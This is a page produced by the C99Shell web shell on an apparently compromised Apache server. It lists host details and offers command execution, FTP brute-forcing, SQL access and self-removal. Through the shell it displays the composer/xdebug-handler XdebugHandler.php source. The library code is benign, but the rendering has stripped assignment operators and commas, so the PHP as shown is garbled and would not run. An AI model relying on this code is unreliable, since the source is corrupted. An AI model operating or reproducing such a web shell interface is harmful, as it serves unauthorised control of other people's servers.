!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/xdebug-handler/src/   drwxr-xr-x
Free 13.33 GB of 57.97 GB (23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     XdebugHandler.php (18.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of composer/xdebug-handler.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\XdebugHandler;

use 
Psr\Log\LoggerInterface;

/**
 * @author John Stevenson <john-stevenson@blueyonder.co.uk>
 */
class XdebugHandler
{
    const 
SUFFIX_ALLOW '_ALLOW_XDEBUG';
    const 
SUFFIX_INIS '_ORIGINAL_INIS';
    const 
RESTART_ID 'internal';
    const 
RESTART_SETTINGS 'XDEBUG_HANDLER_SETTINGS';
    const 
DEBUG 'XDEBUG_HANDLER_DEBUG';

    
/** @var string|null */
    
protected $tmpIni;

    private static 
$inRestart;
    private static 
$name;
    private static 
$skipped;

    private 
$cli;
    private 
$colorOption;
    private 
$debug;
    private 
$envAllowXdebug;
    private 
$envOriginalInis;
    private 
$loaded;
    private 
$persistent;
    private 
$script;
    
/** @var Status|null */
    
private $statusWriter;

    
/**
     * Constructor
     *
     * The $envPrefix is used to create distinct environment variables. It is
     * uppercased and prepended to the default base values. For example 'myapp'
     * would result in MYAPP_ALLOW_XDEBUG and MYAPP_ORIGINAL_INIS.
     *
     * @param string $envPrefix Value used in environment variables
     * @param string $colorOption Command-line long option to force color output
     * @throws \RuntimeException If a parameter is invalid
     */
    
public function __construct($envPrefix$colorOption '')
    {
        if (!
is_string($envPrefix) || empty($envPrefix) || !is_string($colorOption)) {
            throw new 
\RuntimeException('Invalid constructor parameter');
        }

        
self::$name strtoupper($envPrefix);
        
$this->envAllowXdebug self::$name.self::SUFFIX_ALLOW;
        
$this->envOriginalInis self::$name.self::SUFFIX_INIS;

        
$this->colorOption $colorOption;

        if (
extension_loaded('xdebug')) {
            
$ext = new \ReflectionExtension('xdebug');
            
$this->loaded $ext->getVersion() ?: 'unknown';
        }

        if (
$this->cli PHP_SAPI === 'cli') {
            
$this->debug getenv(self::DEBUG);
        }

        
$this->statusWriter = new Status($this->envAllowXdebug, (bool) $this->debug);
    }

    
/**
     * Activates status message output to a PSR3 logger
     *
     * @param LoggerInterface $logger
     *
     * @return $this
     */
    
public function setLogger(LoggerInterface $logger)
    {
        
$this->statusWriter->setLogger($logger);
        return 
$this;
    }

    
/**
     * Sets the main script location if it cannot be called from argv
     *
     * @param string $script
     *
     * @return $this
     */
    
public function setMainScript($script)
    {
        
$this->script $script;
        return 
$this;
    }

    
/**
     * Persist the settings to keep Xdebug out of sub-processes
     *
     * @return $this
     */
    
public function setPersistent()
    {
        
$this->persistent true;
        return 
$this;
    }

    
/**
     * Checks if Xdebug is loaded and the process needs to be restarted
     *
     * This behaviour can be disabled by setting the MYAPP_ALLOW_XDEBUG
     * environment variable to 1. This variable is used internally so that
     * the restarted process is created only once.
     */
    
public function check()
    {
        
$this->notify(Status::CHECK$this->loaded);
        
$envArgs explode('|', (string) getenv($this->envAllowXdebug));

        if (empty(
$envArgs[0]) && $this->requiresRestart((bool) $this->loaded)) {
            
// Restart required
            
$this->notify(Status::RESTART);

            if (
$this->prepareRestart()) {
                
$command $this->getCommand();
                
$this->restart($command);
            }
            return;
        }

        if (
self::RESTART_ID === $envArgs[0] && count($envArgs) === 5) {
            
// Restarted, so unset environment variable and use saved values
            
$this->notify(Status::RESTARTED);

            
Process::setEnv($this->envAllowXdebug);
            
self::$inRestart true;

            if (!
$this->loaded) {
                
// Skipped version is only set if Xdebug is not loaded
                
self::$skipped $envArgs[1];
            }

            
$this->tryEnableSignals();

            
// Put restart settings in the environment
            
$this->setEnvRestartSettings($envArgs);
            return;
        }

        
$this->notify(Status::NORESTART);

        if (
$settings self::getRestartSettings()) {
            
// Called with existing settings, so sync our settings
            
$this->syncSettings($settings);
        }
    }

    
/**
     * Returns an array of php.ini locations with at least one entry
     *
     * The equivalent of calling php_ini_loaded_file then php_ini_scanned_files.
     * The loaded ini location is the first entry and may be empty.
     *
     * @return array
     */
    
public static function getAllIniFiles()
    {
        if (!empty(
self::$name)) {
            
$env getenv(self::$name.self::SUFFIX_INIS);

            if (
false !== $env) {
                return 
explode(PATH_SEPARATOR$env);
            }
        }

        
$paths = array((string) php_ini_loaded_file());

        if (
$scanned php_ini_scanned_files()) {
            
$paths array_merge($pathsarray_map('trim'explode(','$scanned)));
        }

        return 
$paths;
    }

    
/**
     * Returns an array of restart settings or null
     *
     * Settings will be available if the current process was restarted, or
     * called with the settings from an existing restart.
     *
     * @return array|null
     */
    
public static function getRestartSettings()
    {
        
$envArgs explode('|', (string) getenv(self::RESTART_SETTINGS));

        if (
count($envArgs) !== 6
            
|| (!self::$inRestart && php_ini_loaded_file() !== $envArgs[0])) {
            return 
null;
        }

        return array(
            
'tmpIni' => $envArgs[0],
            
'scannedInis' => (bool) $envArgs[1],
            
'scanDir' => '*' === $envArgs[2] ? false $envArgs[2],
            
'phprc' => '*' === $envArgs[3] ? false $envArgs[3],
            
'inis' => explode(PATH_SEPARATOR$envArgs[4]),
            
'skipped' => $envArgs[5],
        );
    }

    
/**
     * Returns the Xdebug version that triggered a successful restart
     *
     * @return string
     */
    
public static function getSkippedVersion()
    {
        return (string) 
self::$skipped;
    }

    
/**
     * Returns true if Xdebug is loaded, or as directed by an extending class
     *
     * @param bool $isLoaded Whether Xdebug is loaded
     *
     * @return bool
     */
    
protected function requiresRestart($isLoaded)
    {
        return 
$isLoaded;
    }

    
/**
     * Allows an extending class to access the tmpIni
     *
     * @param string $command
     */
    
protected function restart($command)
    {
        
$this->doRestart($command);
    }

    
/**
     * Executes the restarted command then deletes the tmp ini
     *
     * @param string $command
     */
    
private function doRestart($command)
    {
        
$this->tryEnableSignals();
        
$this->notify(Status::RESTARTING$command);

        
// Prefer proc_open to keep fds intact, because passthru pipes to stdout
        
if (function_exists('proc_open')) {
            if (
defined('PHP_WINDOWS_VERSION_BUILD') && PHP_VERSION_ID 80000) {
                
$command '"'.$command.'"';
            }
            
$process proc_open($command, array(), $pipes);
            if (
is_resource($process)) {
                
$exitCode proc_close($process);
            }
        } else {
            
passthru($command$exitCode);
        }

        if (!isset(
$exitCode)) {
            
// Unlikely that the default shell cannot be invoked
            
$this->notify(Status::ERROR'Unable to restart process');
            
$exitCode = -1;
        } else {
            
$this->notify(Status::INFO'Restarted process exited '.$exitCode);
        }

        if (
$this->debug === '2') {
            
$this->notify(Status::INFO'Temp ini saved: '.$this->tmpIni);
        } else {
            @
unlink($this->tmpIni);
        }

        exit(
$exitCode);
    }

    
/**
     * Returns true if everything was written for the restart
     *
     * If any of the following fails (however unlikely) we must return false to
     * stop potential recursion:
     *   - tmp ini file creation
     *   - environment variable creation
     *
     * @return bool
     */
    
private function prepareRestart()
    {
        
$error '';
        
$iniFiles self::getAllIniFiles();
        
$scannedInis count($iniFiles) > 1;
        
$tmpDir sys_get_temp_dir();

        if (!
$this->cli) {
            
$error 'Unsupported SAPI: '.PHP_SAPI;
        } elseif (!
defined('PHP_BINARY')) {
            
$error 'PHP version is too old: '.PHP_VERSION;
        } elseif (!
$this->checkConfiguration($info)) {
            
$error $info;
        } elseif (!
$this->checkScanDirConfig()) {
            
$error 'PHP version does not report scanned inis: '.PHP_VERSION;
        } elseif (!
$this->checkMainScript()) {
            
$error 'Unable to access main script: '.$this->script;
        } elseif (!
$this->writeTmpIni($iniFiles$tmpDir$error)) {
            
$error $error ?: 'Unable to create temp ini file at: '.$tmpDir;
        } elseif (!
$this->setEnvironment($scannedInis$iniFiles)) {
            
$error 'Unable to set environment variables';
        }

        if (
$error) {
            
$this->notify(Status::ERROR$error);
        }

        return empty(
$error);
    }

    
/**
     * Returns true if the tmp ini file was written
     *
     * @param array $iniFiles All ini files used in the current process
     * @param string $tmpDir The system temporary directory
     * @param string $error Set by method if ini file cannot be read
     *
     * @return bool
     */
    
private function writeTmpIni(array $iniFiles$tmpDir, &$error)
    {
        if (!
$this->tmpIni = @tempnam($tmpDir'')) {
            return 
false;
        }

        
// $iniFiles has at least one item and it may be empty
        
if (empty($iniFiles[0])) {
            
array_shift($iniFiles);
        }

        
$content '';
        
$regex '/^\s*(zend_extension\s*=.*xdebug.*)$/mi';

        foreach (
$iniFiles as $file) {
            
// Check for inaccessible ini files
            
if (($data = @file_get_contents($file)) === false) {
                
$error 'Unable to read ini: '.$file;
                return 
false;
            }
            
$content .= preg_replace($regex';$1'$data).PHP_EOL;
        }

        
// Merge loaded settings into our ini content, if it is valid
        
if ($config parse_ini_string($content)) {
            
$loaded ini_get_all(nullfalse);
            
$content .= $this->mergeLoadedConfig($loaded$config);
        }

        
// Work-around for https://bugs.php.net/bug.php?id=75932
        
$content .= 'opcache.enable_cli=0'.PHP_EOL;

        return @
file_put_contents($this->tmpIni$content);
    }

    
/**
     * Returns the restart command line
     *
     * @return string
     */
    
private function getCommand()
    {
        
$php = array(PHP_BINARY);
        
$args array_slice($_SERVER['argv'], 1);

        if (!
$this->persistent) {
            
// Use command-line options
            
array_push($php'-n''-c'$this->tmpIni);
        }

        if (
defined('STDOUT') && Process::supportsColor(STDOUT)) {
            
$args Process::addColorOption($args$this->colorOption);
        }

        
$args array_merge($php, array($this->script), $args);

        
$cmd Process::escape(array_shift($args), truetrue);
        foreach (
$args as $arg) {
            
$cmd .= ' '.Process::escape($arg);
        }

        return 
$cmd;
    }

    
/**
     * Returns true if the restart environment variables were set
     *
     * No need to update $_SERVER since this is set in the restarted process.
     *
     * @param bool $scannedInis Whether there were scanned ini files
     * @param array $iniFiles All ini files used in the current process
     *
     * @return bool
     */
    
private function setEnvironment($scannedInis, array $iniFiles)
    {
        
$scanDir getenv('PHP_INI_SCAN_DIR');
        
$phprc getenv('PHPRC');

        
// Make original inis available to restarted process
        
if (!putenv($this->envOriginalInis.'='.implode(PATH_SEPARATOR$iniFiles))) {
            return 
false;
        }

        if (
$this->persistent) {
            
// Use the environment to persist the settings
            
if (!putenv('PHP_INI_SCAN_DIR=') || !putenv('PHPRC='.$this->tmpIni)) {
                return 
false;
            }
        }

        
// Flag restarted process and save values for it to use
        
$envArgs = array(
            
self::RESTART_ID,
            
$this->loaded,
            (int) 
$scannedInis,
            
false === $scanDir '*' $scanDir,
            
false === $phprc '*' $phprc,
        );

        return 
putenv($this->envAllowXdebug.'='.implode('|'$envArgs));
    }

    
/**
     * Logs status messages
     *
     * @param string $op Status handler constant
     * @param null|string $data Optional data
     */
    
private function notify($op$data null)
    {
        
$this->statusWriter->report($op$data);
    }

    
/**
     * Returns default, changed and command-line ini settings
     *
     * @param array $loadedConfig All current ini settings
     * @param array $iniConfig Settings from user ini files
     *
     * @return string
     */
    
private function mergeLoadedConfig(array $loadedConfig, array $iniConfig)
    {
        
$content '';

        foreach (
$loadedConfig as $name => $value) {
            
// Value will either be null, string or array (HHVM only)
            
if (!is_string($value)
                || 
strpos($name'xdebug') === 0
                
|| $name === 'apc.mmap_file_mask') {
                continue;
            }

            if (!isset(
$iniConfig[$name]) || $iniConfig[$name] !== $value) {
                
// Double-quote escape each value
                
$content .= $name.'="'.addcslashes($value'\\"').'"'.PHP_EOL;
            }
        }

        return 
$content;
    }

    
/**
     * Returns true if the script name can be used
     *
     * @return bool
     */
    
private function checkMainScript()
    {
        if (
null !== $this->script) {
            
// Allow an application to set -- for standard input
            
return file_exists($this->script) || '--' === $this->script;
        }

        if (
file_exists($this->script $_SERVER['argv'][0])) {
            return 
true;
        }

        
// Use a backtrace to resolve Phar and chdir issues
        
$options PHP_VERSION_ID >= 50306 DEBUG_BACKTRACE_IGNORE_ARGS false;
        
$trace debug_backtrace($options);

        if ((
$main end($trace)) && isset($main['file'])) {
            return 
file_exists($this->script $main['file']);
        }

        return 
false;
    }

    
/**
     * Adds restart settings to the environment
     *
     * @param string[] $envArgs
     */
    
private function setEnvRestartSettings($envArgs)
    {
        
$settings = array(
            
php_ini_loaded_file(),
            
$envArgs[2],
            
$envArgs[3],
            
$envArgs[4],
            
getenv($this->envOriginalInis),
            
self::$skipped,
        );

        
Process::setEnv(self::RESTART_SETTINGSimplode('|'$settings));
    }

    
/**
     * Syncs settings and the environment if called with existing settings
     *
     * @param array $settings
     */
    
private function syncSettings(array $settings)
    {
        if (
false === getenv($this->envOriginalInis)) {
            
// Called by another app, so make original inis available
            
Process::setEnv($this->envOriginalInisimplode(PATH_SEPARATOR$settings['inis']));
        }

        
self::$skipped $settings['skipped'];
        
$this->notify(Status::INFO'Process called with existing restart settings');
    }

    
/**
     * Returns true if there are scanned inis and PHP is able to report them
     *
     * php_ini_scanned_files will fail when PHP_CONFIG_FILE_SCAN_DIR is empty.
     * Fixed in 7.1.13 and 7.2.1
     *
     * @return bool
     */
    
private function checkScanDirConfig()
    {
        return !(
getenv('PHP_INI_SCAN_DIR')
            && !
PHP_CONFIG_FILE_SCAN_DIR
            
&& (PHP_VERSION_ID 70113
            
|| PHP_VERSION_ID === 70200));
    }

    
/**
     * Returns true if there are no known configuration issues
     *
     * @param string $info Set by method
     * @return bool
     */
    
private function checkConfiguration(&$info)
    {
        if (!
function_exists('proc_open') && !function_exists('passthru')) {
            
$info 'execution functions have been disabled (proc_open or passthru required)';
            return 
false;
        }

        if (
extension_loaded('uopz') && !ini_get('uopz.disable')) {
            
// uopz works at opcode level and disables exit calls
            
if (function_exists('uopz_allow_exit')) {
                @
uopz_allow_exit(true);
            } else {
                
$info 'uopz extension is not compatible';
                return 
false;
            }
        }

        return 
true;
    }

    
/**
     * Enables async signals and control interrupts in the restarted process
     *
     * Available on Unix PHP 7.1+ with the pcntl extension and Windows PHP 7.4+.
     */
    
private function tryEnableSignals()
    {
        if (
function_exists('pcntl_async_signals') && function_exists('pcntl_signal')) {
            
pcntl_async_signals(true);
            
$message 'Async signals enabled';

            if (!
self::$inRestart) {
                
// Restarting, so ignore SIGINT in parent
                
pcntl_signal(SIGINTSIG_IGN);
                
$message .= ' (SIGINT = SIG_IGN)';
            } elseif (
is_int(pcntl_signal_get_handler(SIGINT))) {
                
// Restarted, no handler set so force default action
                
pcntl_signal(SIGINTSIG_DFL);
                
$message .= ' (SIGINT = SIG_DFL)';
            }
            
$this->notify(Status::INFO$message);
        }

        if (!
self::$inRestart && function_exists('sapi_windows_set_ctrl_handler')) {
            
// Restarting, so set a handler to ignore CTRL events in the parent.
            // This ensures that CTRL+C events will be available in the child
            // process without having to enable them there, which is unreliable.
            
sapi_windows_set_ctrl_handler(function ($evt) {});
            
$this->notify(Status::INFO'CTRL signals suppressed');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]--